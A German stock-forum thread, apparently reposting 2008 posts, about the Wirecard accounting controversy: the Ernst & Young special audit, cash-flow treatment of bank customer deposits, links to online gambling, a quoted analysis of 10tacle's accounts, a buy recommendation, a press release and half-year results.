      Wirecard beauftragt Ernst & Young

      von Ralf Drescher und Christian Kirchner
      Der Streit zwischen Anlegerschützern und dem Zahlungsabwickler Wirecard geht in die nächste Runde. Das TecDax-Unternehmen reagiert auf Vorwürfe der Bilanzmanipulation und gibt ein Sondergutachten in Auftrag. Außerdem verändert das Unternehmen seine Rechnungslegung.

      FRANKFURT. Das TecDax-Unternehmen Wirecard, das sich mit Vorwürfen irreführender Bilanzierung konfrontiert sieht, hat die Wirtschaftsprüfungsgesellschaft Ernst & Young mit einem Sondergutachten zur Bilanz des Jahres 2007 beauftragt. Das bestätigte eine Sprecherin des Unternehmens dem Handelsblatt. Außerdem kündigte das Unternehmen an, dass es ab dem Halbjahresbericht des Jahres 2008 den Umsatz und das Ergebnis vor Steuern der Wirecard Bank in einem gesonderten Segment ausweisen wird. Die Halbjahreszahlen legt Wirecard am 20. August vor.

      Kritiker, allen voran die Schutzgemeinschaft der Kapitalanleger (SdK), hatten Wirecard in den vergangenen Wochen scharf angegriffen. Auch Analysten monierten die mangelnde Transparenz in der Bilanz. Zwischen Wirecard und der SdK ist der Streit eskaliert und beschäftigt mittlerweile die Gerichte. Der stellvertretende Vorsitzende der SdK, Markus Straub, trat vor zwei Wochen zurück, nachdem bekannt geworden war, dass er auf einen Kursverfall von Wirecard-Aktien spekuliert hatte, noch ehe die Anlegerschützer die Vorwürfe gegen das Unternehmen öffentlich machten.

      Die Aktie von Wirecard ist seit Mai von mehr als 14 in der Spitze auf 4,25 Euro abgestürzt. In den vergangenen Tagen hat sich das Papier erholt. Aktuell notiert die Aktie bei rund 6,40 Euro.


      da hast du wohl wahr, aber: da sind zwei kleine Sternchen bei, also unten nachlesen und sehen: ohne Eliminierung der kurzfristigen Kundeneinlagen der Bank wären es über 9 Mio positiver Cashflow aus laufender Tätigkeit...wobei natürlich in einem früheren Zeitraum der Cashflow wegen dieses Effektes entsprechend besser gewesen sein muß.

      Im Jahresbericht 07 wird die tolle Steigerung das Cashflows von grob 19 Mio in 06 auf 95 Mio in 07 gezeigt (Seite 87), allerdings ohne zwei Sternchen und direkter Anmerkung, daß hier auch Kundeneinlagen bei der Bank dabei sind.
      Aber die Anmerkung auf Seite 126 des Berichts 07 zur Verbesserung des Cashflows könnte vielleicht das meinen:
      "Hierdurch werden in der Konzernkapitalflussrechnung tendenziell von den kurzfristigen Vermögenswerten ohne Finanzmittel in den Finanzmittelbestand verlagert".
      Da der Effekt in 1. Quartal 08 zu einem negativen Ergebnis führt wird er indirekt beziffert mit grob 35 Mio (- 26 Mio + 35 Mio = 9 Mio positiver "eigentlicher" Cashflow).
      Hätte man für 2007 auch schreiben können: Cashflow 95 Mio **

      **minus 35 Mio Effekt aus Kundeneinlagen bei der Bank

      Die verbliebenen 60 Mio Cashflow wären doch auch eine gute Steigerung gewesen zu 06...

      Um solche Unklarheiten zukünftig zu verhindern soll laut Pressebericht Umsatz und Ergebnis der Bank zukünftig in einem gesonderten Segment aufgeführt werden.



      Wenn ein Kunde Geld auf eine prepayed Kreditkarte einzahlt und Wirecard den Betrag erstmal auf ihrem Konto stehenlässt, taucht der Betrag in der Bilanz zweimal auf: Auf der Aktivseite als 'Cash' und auf der Passivseite als 'Verbindlichkeit' (wahrscheinlich als Finanzverbindlichkeit - aber da ist der 2007er Bericht ja so unklar). Das Einzahlen von Kundengeldern ist natürlich cashflow-neutral. Wenn Du den Cashflow berechnest und mit dem Gewinn beginnst, gibt es daher zwei Korrekturen: einmal für das Anwachsen der kurzfristigen Verbindlichkeiten und einmal für das Anwachsen der kurzfristigen Anlagen.

      (im 2007er Bericht wurde offenbar nur die eine Korrektur vorgenommen, was den Cashflow wesentlich höher aussehen lässt, als er in Wahrheit ist. Das wird bei einer Nachprüfung wohl nicht mehr durchgehen. Wer den 2007er Bericht genau liest, sieht außerdem, dass Wirecard auch in der Vergangenheit schon eine Bilanz nachträglich korrigieren musste, obwohl der WP sie ursprünglich mal testiert hatte)

      Wenn Du in die Kapitalflussrechnung zum Q1 guckst, siehst Du, dass der kleinere Wert der richtige ist. Wirecard hat im Q1 2008 einen extrem negativen operativen Kapitalfluss, und zwar stärker negativ als der bereinigte Buchwert am 31.3.08 positiv ist.


      aha. Und laut Zatarra wurde ja anschließend mit falschen Labels getrickst, da es mit der neuen Transparenz aufgefallen wäre? Oder verstehe ich wieder nix???

      Zitat von VictorTheCleaner: Im 2007er Bericht ist die Diskrepanz sehr gut versteckt. Hut ab vor dem Eröffner dieses Threads, der sie offenbar zuerst entdeckt hat. Im Bericht zum Q1 2008 ist der negative operative Kapitalfluss dagegen völlig offensichtlich - da braucht man weder Zeit noch Hirnschmalz, sondern muss nur lesen können und 10 Minuten frei haben.


      Zitat von VictorTheCleaner: Wer googlet Wirecard?
      Google hat einen neuen Service 'Insights for Search'. Dort gibt es Statistiken dazu, wo ein bestimmter Suchbegriff gegooglet wird. Also nichts wie hin zu
      http://www.google.com/insights/search/
      und 'wirecard' eintippen.
      Interessantes Ergebnis: es sind die Türken, die am häufigsten nach Wirecard googlen. Und was suchen sie da? Dazu klickt Ihr auf 'Turkey' und schon wird unten angezeigt, in welchen Städten sie Wirecard googlen und welche anderen Suchbegriffe zusammen mit wirecard verwendet werden. Und da steht an erster Stelle 'betsson24'.
      Also googlen wir nach 'betsson24' und sehen nach, was das ist und warum man dazu wirecard braucht. Den Rest recherchiert Ihr einfach selbst.
      Es grüßt Euch
      Der Victor


      Zitat von sebastianms: Er will andeuten, dass betsson 24 ein Anbieter sein könnte mit denen Wirecard zusammenarbeitet.
      Ende 2006 wurde Betsson 24 in der Türkei eingeführt. Auffällig ist hierbei, dass die Suche nur Mitte 2007 war, da viele wohl nach einer Einzahlungsmethode für betsson 24 gesucht haben und Wirecard hier vermerkt ist (hab es gerade mal aus Spaß ausprobiert - man braucht eine Kreditkarte (viele in der Türkei hatten wohl noch keine? Ist das in der Türkei schon derart verbreitet? Jedenfalls logisch, dass man sich über den Anbieter dann informiert - Wirecard ist interessant da es 0% Gebühren mit ihnen kostet und mit Visa oder Mastercard 1,5 - 2,25%)
      Die Suche nach Wirecard ebbte übrigens dann Ende 2007 sehr stark ab, logischerweise, denn zu diesem Zeitpunkt wurde Onlinegaming in der Türkei dann verboten. 2008 ist die Suche bei praktisch 0.
      Nun zu der Logik und der Panikmache von Victor:
      Visa und Mastercard sind hier ebenfalls aufgeführt als Zahlungsanbieter, werden die deshalb an den Pranger gestellt?
      Nein, denn es sind nur Zahlungsanbieter!

      PS: warum haben die sdk-leute türkisch gesprochen, als sie über wirecard redeten???


      Dann 10Tacle-Thema gelöscht von wirecard

      antwort blieb stehen
      Zitat von wpinspe: Hmm ich verstehe den Zusammenhang zwischen der 10tacle AG und WDI irgendwie nicht.
      Beschränkt er sich darauf, das ehemalige Aufsichtsräte von 10tacle jetzt leitende Positionen bei WDI haben oder was genau sollen wir aus dieser Info folgern?
      Einen Computerspieleentwickler wie 10tacle kann man wohl kaum mit einem Zahlungsabwickler vergleichen. :D
      Verbindung zwischen der Insolvenz und den Ex-AR auf WDI umwälzen scheint doch etwas weit hergeholt. Den Shortys scheinen die Angriffspunkte auszugehen :laugh:


      Zitat von Banntigger: Die Insolvenz von 10tacle und die Arbeit des WP Control5H, der auch Wirecard gerüft hat, haben schon miteinander zu tun.
      Zumindest geht das aus der Analyse von Armin Brack, Chefredakteur vom Geldanlage-Report am 13.3. diesen Jahres, hervor.

      Nachfolgend zitiert aus http://www.stock-world.de/analysen/2519089-Der_raetselhafte_…


      "*Kreative Bilanzierung

      Schauen wir uns also mal die Bilanz etwas genauer an. Zunächst fällt auf:

      Die Forderungen aus Lieferungen und Leistungen sind im Halbjahresbericht mit einem Wert von 33,25 Millionen Euro für ein Unternehmen dieser Größenordnung ungewöhnlich hoch. Es wird zwar im Bericht angekündigt, man wolle die Forderungen schnell verringern, gleichzeitig heißt es dort aber, es würden bis zum Jahresende 2007 keine wesentlichen und bis zu diesem Stichtag fälligen Forderungen mehr bestehen.

      Das kann eigentlich nur zwei Ursachen haben. Entweder hat 10tacle seinen Geschäftspartnern extrem lange Zahlungsziele eingeräumt. Das ist möglich, aber sehr unwahrscheinlich. Warum sollte das Unternehmen dies tun? Schließlich braucht man jede Menge Cash um die stürmische Expansion vorantreiben zu können.

      Möglichkeit zwei ist, dass die Forderungen aktuell noch gar nicht rechtlich wirksam entstanden sind. Diese Variante scheint wahrscheinlicher und erhöht gleichzeitig das Risiko, dass die Forderungen zumindest teilweise minderwertig sind und irgendwann abgeschrieben werden müssen. Das wiederum würde entsprechende Spuren in der Gewinn- und Verlustrechnung (GuV) hinterlassen und könnte aus den bisher ausgewiesenen Gewinnen schnell rote Zahlen werden lassen.

      Bilanztechnisch ebenfalls kritisch ist auch die sogenannte Aktivierung von Eigenleistungen: Das ist ein - bis zu einem gewissen Grad - legaler aber umstrittener Trick, mit dem die eigenen Entwicklungskosten zur Werterhöhung des Anlagevermögens auf der Aktivseite der Bilanz verbucht werden. So kann einerseits das Eigenkapital erhöht werden und gleichzeitig müssen diese Kosten in der GuV nicht als Aufwendungen ausgewiesen werden.

      Das hat den praktischen Effekt, dass der ausgewiesene Ertrag wesentlich höher ausfällt. Konkret: In den Halbjahreszahlen wurden Eigenleistungen in Höhe von vier Millionen Euro aktiviert. Rechnen wir das aufs Gesamtjahr hoch, verdoppelt sich die Summe auf acht Millionen Euro. Vergleichen Sie das mit dem geplanten Gewinn vor Steuern und Zinsen (EBIT) von 9,3 Millionen Euro und Sie erkennen, dass - um die Aktivierung bereinigt - vom angepeilten Gewinn nicht mehr viel übrig bleibt.

      Die kreative Bilanzierung kommt auch beim Umsatz zum Tragen: Gewinnt 10tacle Entwicklungsaufträge, die meist über einen Zeitraum von zwei bis drei Jahren laufen, werden die daraus resultierenden Umsätze sofort voll als solche in der Bilanz verbucht. Rückstellungen für Verzögerungen gibt es keine. Diese sind aber in der Branche gang und gäbe.

      Zu allem Überfluss bestehen gegenüber dem Vertragspartner zusätzliche Haftungsrisiken, weil 10tacle für die selbst entwickelten Produkte teilweise Umsatzgarantien abgibt. Letzteres ist auf Seite 70 des 2006er-Geschäftsberichts und im Bestätigungsvermerk des Wirtschaftsprüfers nachprüfbar.

      Das heißt auf die Spitze getrieben: 10tacle verbucht jetzt Umsätze und realisiert jetzt Gewinne auf Basis von möglichen zukünftigen Verkaufspreisen noch nicht fertig gestellter Spiele. Das mag rechtlich zulässig sein, ich persönlich halte eine solche Vorgehensweise aber mindestens für riskant, wenn nicht gar für fahrlässig. Denn: Entwickeln sich die Spiele nicht zu einem Erfolg oder kommen erst gar nicht auf den Markt, drohen massive Sonderabschreibungen.

      [...]
      *Expansion auf Teufel komm raus

      Apropos Kapitalerhöhung: Obwohl 10tacle im Rahmen des IPOs Mitte 2006 zwei Millionen Aktien zu einem Ausgabepreis von 11,75 Euro am Markt platziert worden sind, zapfte das Unternehmen in den darauf folgenden 18 Monaten mehrmals den Kapitalmarkt an.

      Die Zahl der ausstehenden Aktien erhöhte sich in diesem Zeitraum von fünf auf knapp sieben Millionen Stück. Das ist sehr ungewöhnlich, denn man sollte meinen der Kapitalbedarf eines Unternehmens sei so kurz nach dem Börsengang zunächst einmal gestillt. Nicht so bei 10tacle, das seine Fangarme scheinbar ähnlich den Fangarmen (Tentakeln) der Kopffüßer unentwegt nach dem Kapital der Anleger ausstreckt.

      Betrachtet man in diesem Zusammenhang die seither in kürzester Zeit erfolgten Übernahmen von kleineren Entwicklern, stellt sich einem unweigerlich die Frage, ob sich CEO Michele Pes dabei nicht selbst etwas übernimmt?!

      Ich erinnere mich mit Schaudern an die viel zu schnelle Expansion des Internet-Finanz-Software-Entwicklers Brokat zu Zeiten des Neuen Marktes, die 2001 in der Insolvenz endete.

      Natürlich gibt es für eine Insolvenz bei 10tacle bisher offiziell noch keinerlei Anhaltspunkte. Allerdings dürfte man im Rahmen der Expansion einen sehr hohen Kapitalbedarf haben, den man sicher nicht aus dem quasi nicht vorhandenen operativen Cash-Flow begleichen kann. So bleibt gegebenenfalls nur der Weg über den Kapitalmarkt.

      Genau hier lauert jedoch auch die Gefahr: Denn angesichts der aktuellen Kreditkrise dürfte es für das Unternehmen im Fall der Fälle schwierig werden neues Kapital aufzutreiben. Aktionäre, die immer noch investiert sind, können also nur hoffen, dass die Liquidität ausreichend ist.

      *Was Sie als Anleger aus dem Fall 10tacle lernen können

      Welche Lehren können nun Sie als Anleger aus diesem Fall ziehen. Ich sehe drei Aspekte:

      1. Lernen Sie eine Bilanz zu lesen, wenn Sie in Aktien investieren oder achten Sie zumindest darauf, dass Sie auf den Rat von Experten/Analysten hören, bei denen Sie sich über deren Objektivität und Sachverständnis sicher sind.

      2. Achten Sie nicht nur auf den ausgewiesenen Gewinn sondern auch auf den Cash-Flow. Das heißt: Fließt aus dem operativen Geschäft tatsächlich mehr Geld in die Kassen des Unternehmens als heraus. Es gilt der Grundsatz: Nur wenn ein Gewinn gleichzeitig von einer Erhöhung des Kassenbestandes begleitet wird, handelt es sich um einen "echten" Gewinn.

      3. Der Chart lügt nicht. Wenn eine Aktie sich im freien Fall befindet dann gibt es dafür fast immer gute Gründe. Glauben Sie nicht an die Mär von den bösen Leerverkäufern, die die Aktie angeblich nach unten drücken. Das dient meist nur als Ausrede von Unternehmen oder verzweifelten Aktionären, die nicht mit der Wahrheit rausrücken können oder möchten. Schützen können Sie sich nur, wenn Sie rechtzeitig die Notbremse ziehen, in dem Sie beispielsweise einen entsprechenden Stoppkurs setzen."


      Da setzt alles schon eine gewisse Flexibilität des WP Control5H GmbH voraus, oder ?




      Zitat von crude_facts: Der user Klappe schrieb in #3903:

      "Ich meine:
      Wer das Geschäftsmodell kapiert, versteht auch die Bilanz."



      So, nun mal ehrlich die Hand hoch:

      1. Wer hat vorher verstanden, dass das Geschäft zu 20-25% Gambling-Transaktionen besteht. Erst einmal egal, ob bloße Mengenangabe oder Umsatz- und Ergebnisanteil?

      2. Wer hat das im Geschäftsbericht sehen können?

      3. Wer hat mit dem Begriff "digitale Güter" die Abwicklung von Online-Gambling-Geschäften verbunden?

      4. Wer kannte sich vorher mit den rechtlichen Rahmenbedingungen und den daraus möglicherweise resultierenden Risiken aus?

      5. Wer konnte vorher etwas hierüber im Risikobericht des Lageberichts entnehmen?

      6. Wer kann ein Geschäftsmodell verstehen, über das nicht berichtet wird? Wer es beurteilen und bewerten, der es nicht sehen kann?

      7. Wen interessiert es nicht, woraus 20-25% aller Geschäfte eines Unternehmens bestehen?

      8. Wer hat den Geschäftsbericht genau gelesen und alles verstanden und brauchte für Antworten auf die aus welchen Gründen und mit welchem Hintergrund auch immer platzierten Fragen nicht beim Management nachfragen oder musste nicht in späteren Einräumungen/ Erläuterungen nachlesen?

      9. Wer konnte problemlos das Purchase Accounting verstehen, wer die latenten Steuern oder die Überleitung von Ergebnis und Cash-flow?

      10. Wer hat sofort gemerkt, dass in Konzernbilanz, -GuV und Kapitalflussrechnung Bankaktivitäten enthalten sind und hat deren jeweiligen Anteil aus dem Geschäftsbericht, geschweige denn der dort enthaltenen Segmentberichterstattung herauslesen können?


      Bevor sich wieder jemand aufregt, bitte die entsprechende Fundstelle markieren und hier angeben.

      Natürlich gibt es auch Anleger, die das alles nicht interessiert, denen die Antworten alle egal sind, die vielleicht Entscheidungen nur auf Basis von Kursen, KGV und KUV treffen.

      Klar. Aber die haben auch nicht den Kursrutsch ausgelöst...



      Zitat von kraftfutter: Das E&Y Gutachten auf Termin 20.08.wird hier im board ueberbewertet.
      Wirecard bezahlt es.
      Wirecard hat den Auftrag formuliert.
      Kein neutraler Dritter kontrolliert ob die Auftragsdetails sinnvoll sind.
      E&Y will noch mehr Geld mit wirecard verdienen.


      Zitat von puma2000: TradeCentre.de - Wirecard Gewinne laufen lassen
      12:44 02.05.08
      Lichtenstein (aktiencheck.de AG) - Die Experten von "TradeCentre.de" empfehlen bei der Wirecard-Aktie (ISIN DE0007472060/ WKN 747206) Gewinne laufen zu lassen.
      Nach der Übernahme des Favoriten der Experten, D+S europe, solle nun auch der Anbieter elektronischer Zahlungs- und Risikomanagementlösungen ins Visier von Aufkäufern geraten sein. Das munkle die Börse in Frankfurt. Wie die Experten hören würden, sei das Unternehmen sowohl für Strategen, beispielsweise direkte Wettbewerber oder Banken (Lloyds Bank, Royal Bank of Scotland) selbst, als auch für Heuschrecken ein gefundenes Fressen. Für eine Übernahme spreche das jüngst große Interesse an der Aktie und der Stärke des Papiers.
      Besonders ins Bild von Heuschrecken passe Wirecard sehr gut. Das Unternehmen wachse rasend. In 2007 sei bei einem Umsatz von fast 134 Millionen Euro ein EBIT von 33 Millionen Euro gezogen worden. Die EBIT-Marge habe unverschämte 25 Prozent betragen. Der Gewinn je Aktie habe sich im Berichtszeitraum auf 38 Cent fast verdoppelt. Absolut seien 30,5 Millionen Euro verdient worden. Die Umsatzrendite betrage über 20 Prozent. Die Eigenkapitalquote liege bei über 41 Prozent. Dass das Eigenkapital von 164 Millionen Euro fast komplett aus Firmenwerten und immateriellen Vermögensgegenständen bestehe, dürfte wegen der immensen Profitabilität kein Hindernis sein.

      Heuschrecken könnten die Firma wegen des Barbestandes und der Cashflows wunderbar aussaugen und die Verschuldung der Firma immens erhöhen. Eine höhere Verschuldung schade nicht, sondern halte das Management eher wach und in Schwung. In diesem Jahr erwarte Firmenchef Markus Braun ein Plus beim EBIT von mindestens 45 Prozent auf fast 50 Millionen Euro Gewinn vor Steuern und Zinsen.

      Braun sei in seiner Prognose in der Regel konservativ. Gut möglich, dass der CEO auch in diesem Jahr die eigenen Ziele wieder erheblich übertreffe. Eventuell müsse Braun bereits bei der Veröffentlichung der Q1-Zahlen in Kürze die Prognose nach oben revidieren. Hinzu komme, dass wohl ein größerer Kunde/Auftrag aus den USA gewonnen worden sei, würden die Experten ihren Quellen entnehmen.

      Dass Wirecard früher oder später vom Hof gehen werde, sei übrigens kein Geheimnis. Bereits im Jahr 2005 habe Braun den Experten gegenüber gesagt, dass eine Übernahme von Wirecard nicht auszuschließen sei. Mit Anpassung der Vorstandsverträge von Ende 2006 hätten es Aktionäre sogar schriftlich, was mit der Firma passieren solle. Der Vorstand habe löblicherweise auf den Jahresbonus 2006 und 2007 sowie auf weitere Zusagen von Aktienoptionen verzichtet - natürlich nicht aus christlicher Nächstenliebe den Aktionären gegenüber, sondern im Gegenzug sei den einzelnen Mitgliedern des Vorstands für den Fall eines Kontrollwechsels eine Tantieme von insgesamt 1,2 Prozent des Unternehmenswertes der Gesellschaft zugesagt.

      Kein Wunder also, dass Braun ganz heiß auf seinen Aktienkurs sei und die Firma stets für unterbewertet halte. Sobald also ein Investor die Marke von 30 Prozent überschreite und dieser entsprechend allen anderen Anteilseignern ein Kaufangebot unterbreite, würden bei Braun und seinen beiden anderen Vorstandskollegen massiv die Kassen klingeln.

      Aktuell werde Wirecard mit mehr als einer Milliarde Euro bewertet. Finde Braun einen Aufkäufer, der 1,5 Milliarden Euro für den Laden auf den Tisch blättere, erhalte das Trio insgesamt 18 Millionen Euro Cash - pro Kopf sechs Millionen Euro. Durchaus ein Betrag, mit dem es sich in Miami als Multimillionär genüsslich leben lasse. Im Gegensatz zu manch anderen Vorständen hätten Braun und Co. jedoch jeden Cent Tantieme verdient. Immerhin hätten sich zahlreiche Investoren in den letzten drei Jahren mit der Aktie richtig frisch machen können.

      Die Experten hätten die Aktie im Jahr 2005, als die Firma noch mehr oder weniger eine Garagenklitsche gewesen sei, als Erste entdeckt. In den vergangenen drei Jahren habe sich die Aktie seit der Erstempfehlung der Experten fast verzehnfacht.

      Wegen der latenten Übernahmefantasie raten die Experten von "TradeCentre.de", trotz nicht wirklich günstiger Bewertung, bei der Wirecard-Aktie zumindest die Gewinne laufen zu lassen. (Analyse vom 02.05.2008) (02.05.2008/ac/a/t)


      Zitat von Stier63: Guten Morgen--ein schöner Morgen...:yawn::yawn:
      ots.CorporateNews: Wirecard AG / Wirecard und IPS bieten gemeinsame Zahlungsabwicklung in ...
      Leser des Artikels:

      Wirecard und IPS bieten gemeinsame Zahlungsabwicklung in Europa und
      China
      München/Grasbrunn/Hongkong (ots) - Wirecard AG und International
      Payment Solutions (Shanghai) Limited (´IPS´) haben eine strategische
      Allianz geschlossen, um gemeinsam Zahlungs- und
      Risikomanagementlösungen für den europäischen und chinesischen Markt
      anzubieten. IPS ermöglichte als erster Zahlungsdienstleister in China
      die Akzeptanz internationaler Kreditkartentransaktionen in Echtzeit.

      Die Zusammenarbeit von Wirecard und IPS bietet beiden Unternehmen
      zahlreiche Vorteile. Die Wirecard AG erweitert ihr
      Dienstleistungsangebot auf dem asiatischen Markt um weitere regionale


      chinesische Zahlungsverfahren. Gleichzeitig erschließt IPS Händlern
      aus China mit den verschiedenen länderspezifischen Zahlungs- und
      Risikomanagement-Methoden den europäischen Markt.

      ´Führende Internethändler in China wollen vermehrt
      internationalisieren. Demzufolge stellen wir eine hohe Nachfrage an
      europäischen Zahlungsverfahren fest´, sagt Sunny Cheung, Deputy CEO
      von IPS. ´Die Allianz ermöglicht es uns, auf die führende Position
      von Wirecard im europäischen ePayment-Markt zurückzugreifen und
      unseren Kunden entsprechende Acquiring- und Bankdienstleistungen für
      ihre europäische Expansion anbieten zu können.´

      ´Durch unsere Allianz verbinden wir die einzigartigen Stärken
      beider Unternehmen´ erläutert Rüdiger Trautmann, COO der Wirecard AG.
      ´Infolge des rasanten Wirtschaftswachstums in China reisten im
      vergangenen Jahr mehr als 2,5 Mio. Chinesen nach Europa und gaben
      durchschnittlich 5.000 US-Dollar pro Besuch aus. Nicht nur im
      Touristikbereich ergeben sich für Händler deutliche
      Wettbewerbsvorteile, wenn chinesische Konsumenten die Zahlungsmethode
      ihrer Wahl benutzen können.

      Mit seinen mehr als 253 Millionen Nutzern stellt China die größte
      Online-Population der Welt. Der chinesische eCommerce-Markt birgt ein
      großes Potenzial, nicht nur für inländische Anbieter sondern auch für
      international agierende Versandhändler und Touristikunternehmen.
      Obwohl die Kreditkartenverbreitung im vergangenen Jahr um 82 Prozent
      anstieg, verfügt bis dato nur ein kleiner prozentualer Anteil der
      Bevölkerung über eine Kreditkarte. E-Commerce-Anbieter, die den
      chinesischen Markt adressieren wollen, müssen sich neben der in China
      bei Internet-Einkäufen üblichen Barzahlung mit der Integration von
      mehr als 20 verschiedenen Finanzinstituten befassen um die 1,5 Mrd.
      lokalen Debitkarten, die in China im Umlauf sind, akzeptieren zu
      können.

      Gleichzeitig wächst die Zahl der chinesischen Anbieter, die
      vermehrt Konsumenten in Übersee ansprechen. Ob Handel, Fluglinie oder
      Reiseanbieter: die Komplexität globaler Zahlungs-und
      Risikomanagement-Abwicklung stellt eine zentrale Herausforderung für
      die internationale Expansion chinesischer Unternehmen dar.

      Quellen: China Internet Network Information Center (2008),
      Maverick China Research (2008)

      Über IPS:

      International Payment Solutions (Shanghai) Limited (´IPS´) wurde
      2000 als einer der ersten Payment Service Provider in China
      gegründet. IPS wickelt sowohl die Transaktionen der führenden
      inländischen Banken in China als auch der Kreditkarteninstitute wie
      VISA, MasterCard, JCB und Singapur´s NETS ab. IPS stellt mit seinem
      Transaktionsvolumen zudem die wichtigste Plattform in Chinas
      Heimatmarkt, Hongkong und Macau sowie Singapur dar. Das Unternehmen
      hat seinen Hauptsitz in Schanghai und Niederlassungen in Peking,
      Shenzhen und Hongkong.

      www.ips.com.cn

      Über Wirecard AG:

      Die Wirecard AG ist einer der führenden internationalen Anbieter
      elektronischer Zahlungs- und Risikomanagementlösungen. Weltweit
      unterstützt Wirecard über 9.000 Unternehmen aus unterschiedlichen
      Branchen bei der Automatisierung ihrer Zahlungsprozesse und der
      Minimierung von Forderungsausfällen. Die Wirecard Bank AG bietet
      Konten- und Kreditkarten-Dienstleistungen sowohl für Geschäfts- als
      auch Privatkunden und ist Principal Member von VISA, MasterCard und
      JCB. Der Internetbezahldienst Wirecard ermöglicht Konsumenten
      sicheres Bezahlen bei Millionen von MasterCard Akzeptanzstellen.
      Zusätzlich können registrierte Nutzer in Echtzeit untereinander Geld
      versenden oder empfangen. Die Wirecard AG ist an der Frankfurter
      Wertpapierbörse notiert (TecDAX, ISIN DE0007472060, WDI).

      www.wirecard.de | www.wirecardbank.de | www.mywirecard.com

      Originaltext: Wirecard AG
      Digitale Pressemappe: http://www.presseportal.de/pm/15202
      Pressemappe via RSS : http://www.presseportal.de/rss/pm_15202.rss2
      ISIN: DE0007472060

      Wirecard Medien Kontakt:

      Wirecard AG
      PR & IR Office
      Iris Stöckl
      Bretonischer Ring 4
      D-85630 Grasbrunn / Munich
      Germany
      Ph.: +49 (0) 89 4424 0424
      Fax: +49 (0) 89 4424 0524
      e-mail: iris.stoeckl@wirecard.com
      Internet: www.wirecard.de

      IPS Medien Kontakt:

      IPS Marketing Department
      Jason Zhuo
      10F, No. 895
      Yan-an West Rd., Shanghai
      China(P.C.: 200050)
      Ph.: +86 (021)62263829-3367
      Fax: +86 (021) 32120541
      e-mail: media@ips.com.cn
      Internet: www.ips.com.cn

      Autor: dpa-AFX


      Heftige Vorwürfe gegen Verfasser des 10Tacle-Berichtes (nachprüfen!!!)
      Zitat von teck_2007: Zum Thema Lohrke.
      Habe noch ein wenig hier und da gelesen und was für ein Zufall.
      Auf ARIVA.DE ist er ziemlich aktiv mit dem Namen "Globalyze"
      Ein anderes Bsp.:
      12 Ob man dem Herrn Lohrke immer glauben kann? 01.08.08 15:01 DH 50
      Wertpapier: Call auf Wirecard [Commerzbank AG]
      Er hat zum Beispiel ARQUES INDUSTRIES zum Kauf empfohlen, als alles am sinken war. Gekauft bei 15,30 €, ich hatte keine Ahnung vom Aktiengeschäft, und habe auf Empfehlung von Herrn Lohrke ins fallende Messer gegriffen. Ging mir mit ein paar anderen Aktien ähnlich. Irgendwann habe ich dann die Notbremse gezogen, leider viel zu spät und zum Teil über 50% verloren.
      Nun bin ich dabei, das verloren Geld ohne Herrn Lohrke mühsam wieder hereinzuholen.
      Wer weiß wo man sonst nocht rauskommt wenn man weiter recherchiert.
      vielleicht schließt ich auch hier ein Kreis.
      Anmerkung: Ich will hier kein Kampagne starten ich will nur mehr Gerechtigkeit


      dann sehr spannende Diskussionen und Suche nach Kunden, fast wie heute
      Avatar
      schrieb am 30.04.16 23:08:32
      Beitrag Nr. 76 ()
      Dann immer noch warten auf den 20.8.08

      dann kam er endlich
      Grasbrunn b. München, den 20. August 2008; Im zweiten Quartal und ersten Halbjahr 2008 konnte die Wirecard AG erneut ein nachhaltiges Wachstum im operativen Geschäft verzeichnen.

      Die konsolidierten Umsatzerlöse im Konzern sind im zweiten Quartal 2008 im Vergleich zum Vorjahresquartal von 29,9 Mio. Euro um 59 Prozent auf 47,4 Mio. Euro gestiegen. Der operative Gewinn vor Zinsen und Steuern (EBIT) im Konzern erhöhte sich gegenüber dem Vorjahresquartal von 7,3 Mio. Euro um 67 Prozent auf 12,2 Mio. Euro.

      In den ersten sechs Monaten des Geschäftsjahres stieg der Umsatz im Konzern im Vorjahresvergleich um 56 Prozent auf 88,3 Millionen Euro, der Gewinn vor Zinsen und Steuern (EBIT) um 67 Prozent auf 22,2 Millionen Euro. Die EBIT-Marge lag im Berichtszeitraum bei 25,1 Prozent, nach 23,5 Prozent im Vorjahreszeitraum.

      Der Vorstand der Wirecard AG erwartet, dass sich die positive Entwicklung des operativen Geschäfts auch im zweiten Halbjahr fortsetzen wird. Vor diesem Hintergrund hat der Vorstand beschlossen, die EBIT-Prognose von mehr als 45 Prozent auf 45 bis 60 Prozent für das Geschäftsjahr 2008 anzuheben.


      Wirecard Asia rausgenommen???
      Naja, ein paar Schönheitsfehler sind da schon drin.

      1. Anstatt ca. 81,4 Mio Aktien sind es jetzt ca. 101,8 Mio. Stck., was die heutige Marktkapitalisierung und damit auch das KGV erhöht.
      (KGV2008e 101,8 *7,30/47 = 15.8). Anstatt der 47 kann man auch durch 65 teilen, wenn die Gewinne steigen sollten.

      2. Der asiatische Sitz (wirecard asian pacific) wurde vollständig herausgenommen. (warum?)

      3. Wenn ich das richtig gelesen habe, dann wurden die Kundeneinlagen mit als liquide Mittel eingerechnet.

      4. Anzahl der Mitarbeiter konstant bei 401, aber Verlagerung von Teilzeit auf Vollzeit für einige Mitarbeiter. Erhöhung des Personalauwands von 7,724 Mio. Eur auf 11,584 Mio. Einen Schlüssel über die Erhöhung von Teilzeit auf Vollzeit habe ich nicht gefunden. Theoretisch könnte das auch bedeuten: 2 Mann in die Vollzeit übernommen, den Rest bekommen die Bosse. (Oder sehe ich das falsch?)

      5. Die aktuellen Zahlen entsprechen genau den vorhandenen Schätzungen, wie sie bereits bei comdirect veröffentlicht waren, also nichts Neues.

      Ok, alle Angaben natürlich ohne Gewähr, ihr müßt das natürlich selbst prüfen.

      Aber nach wie vor empfinde ich das Wachstum schon eindrucksvoll.


      --reicht wieder--
      Avatar
      schrieb am 01.05.16 02:09:55
      Beitrag Nr. 77 ()
      gerade habe ich was anderes gefunden. Da geht es um Wirecard und VISA. Wirecard ist ja irgendwie VISAs Liebling, zumindest könnte man den Eindruck gewinnen. Daher suchte ich gezielt nach "Bruchstellen" im Verhältnis VISA/Wirecard (weil VISAs Liebe zur wirecard ja ein starkes Anti-Zatarra-Argument ist).

      Ich stolperte über das da (24. Februar 2010. Das war unmittelbar eine Woche nach der Veröffentlichung des Schütt-Dokumentes durch die US-Behörden und Wochen vor Wirecards angeblicher Meldung von Unregelmäßigkeiten beim Bluetool-Konto)
      (spannenderweise wurde das Dokument am 17. März 2010 hochgeladen!)
      (daher verlinke ich es nicht, aber... ich erlaube mir den Hinweis, dass man da einiges zum nachdenken findet)
      Only one month after the decision was made by MasterCard to crack down on online casino players using their MasterCard credit cards to fund their accounts, now VISA is following in the same direction.
